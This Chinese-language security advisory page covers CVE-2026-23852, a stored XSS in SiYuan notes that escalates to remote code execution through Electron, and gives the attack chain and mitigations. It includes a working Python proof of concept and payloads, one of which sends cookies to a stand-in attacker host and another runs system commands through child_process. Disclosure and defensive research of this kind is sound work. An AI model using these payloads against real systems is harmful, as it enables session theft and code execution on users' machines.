IPBUF安全漏洞报告
English
CVE-2026-23852 CVSS 9.6 严重

CVE-2026-23852: SiYuan笔记存储型XSS漏洞可导致RCE

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-23852
漏洞类型
存储型XSS / 远程代码执行
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
SiYuan(思源笔记)

相关标签

CVE-2026-23852存储型XSS远程代码执行SiYuan思源笔记Electron RCEAPI注入CVE-2026

漏洞概述

SiYuan是一款流行的个人知识管理系统。2026年1月披露的CVE-2026-23852漏洞影响3.5.4之前的所有版本。该漏洞为存储型跨站脚本攻击(Stored XSS),攻击者可通过/api/attr/setBlockAttrs API接口向block的icon属性注入任意HTML属性。由于动态图标功能在渲染时未对payload进行充分消毒处理,导致恶意脚本被持久化存储。当其他用户访问包含恶意内容的页面时,存储的XSS payload会自动执行。在桌面环境中,结合Electron框架的特性,此漏洞可进一步利用导致远程代码执行(RCE)。该漏洞绕过了此前针对issue #15970的XSS修复,属于历史修复的不完整补救。漏洞CVSS评分高达9.6,属于严重级别,对使用思源笔记的用户构成重大安全威胁。

技术细节

漏洞存在于SiYuan的块属性设置功能中。攻击者构造恶意请求调用/api/attr/setBlockAttrs接口,在icon属性中注入包含JavaScript代码的HTML属性。例如,可注入onerror、onload等事件处理器或使用svg标签执行任意脚本。payload示例:icon属性设置为包含事件监听器的img标签或svg元素。动态图标功能在渲染block时直接使用icon属性值而未进行HTML转义或内容安全策略过滤,导致注入的脚本在用户浏览器中执行。由于icon属性值被持久化存储在数据库中,此XSS为存储型,影响所有查看该内容的用户。在Electron桌面应用中,nodeIntegration默认开启,攻击者可通过XSS进一步利用Electron API执行系统命令,实现完整的RCE攻击链。修复版本3.5.4增加了对icon属性的输入验证和输出消毒。

攻击链分析

STEP 1
步骤1
攻击者构造恶意请求,通过/api/attr/setBlockAttrs API向目标block的icon属性注入XSS payload
STEP 2
步骤2
payload被存储到数据库中,由于icon属性未进行输入验证,恶意HTML/JS代码被持久化
STEP 3
步骤3
当其他用户访问包含恶意block的页面时,动态图标功能渲染icon属性,直接输出未消毒的HTML内容
STEP 4
步骤4
用户浏览器执行注入的JavaScript代码,攻击者可窃取会话Cookie、敏感数据或执行其他恶意操作
STEP 5
步骤5
在Electron桌面环境中,攻击者利用XSS进一步调用node集成API,通过child_process模块执行系统命令,实现RCE

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-23852 PoC - Stored XSS via setBlockAttrs API # Target: SiYuan < 3.5.4 TARGET_URL = "http://target:6806" API_SET_BLOCK_ATTRS = "/api/attr/setBlockAttrs" def exploit_xss(target_url, block_id, payload): """ Inject XSS payload into block's icon attribute block_id: Target block ID (e.g., 20230101120000-abcdefg) payload: Malicious HTML/JS payload for icon attribute """ endpoint = target_url + API_SET_BLOCK_ATTRS data = { "id": block_id, "attrs": { "icon": payload } } headers = { "Content-Type": "application/json" } try: response = requests.post(endpoint, json=data, headers=headers) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: result = response.json() if result.get("code") == 0: print("[+] XSS payload injected successfully!") print("[*] Payload will execute when block is rendered") return response.json() except Exception as e: print(f"[-] Error: {e}") return None # Example payloads for RCE in desktop environment PAYLOADS = { "xss_basic": '<img src=x onerror=alert(document.cookie)>', "xss_steal_token": '<svg/onload=fetch("http://attacker/steal?c="+document.cookie)>', "desktop_rce": '<svg/onload="require(\'child_process\').exec(\'calc\')">' } if __name__ == "__main__": # Replace with actual block ID block_id = input("Enter block ID: ") # Use basic XSS payload exploit_xss(TARGET_URL, block_id, PAYLOADS["xss_basic"])

影响范围

SiYuan < 3.5.4

防御指南

临时缓解措施
立即升级SiYuan至3.5.4版本。临时缓解措施包括:1)限制用户对/api/attr/setBlockAttrs接口的访问权限;2)在反向代理层实施输入过滤规则;3)对于桌面版本用户,考虑禁用动态图标功能或启用浏览器的XSS过滤器;4)监控异常API调用日志,及时发现可疑攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表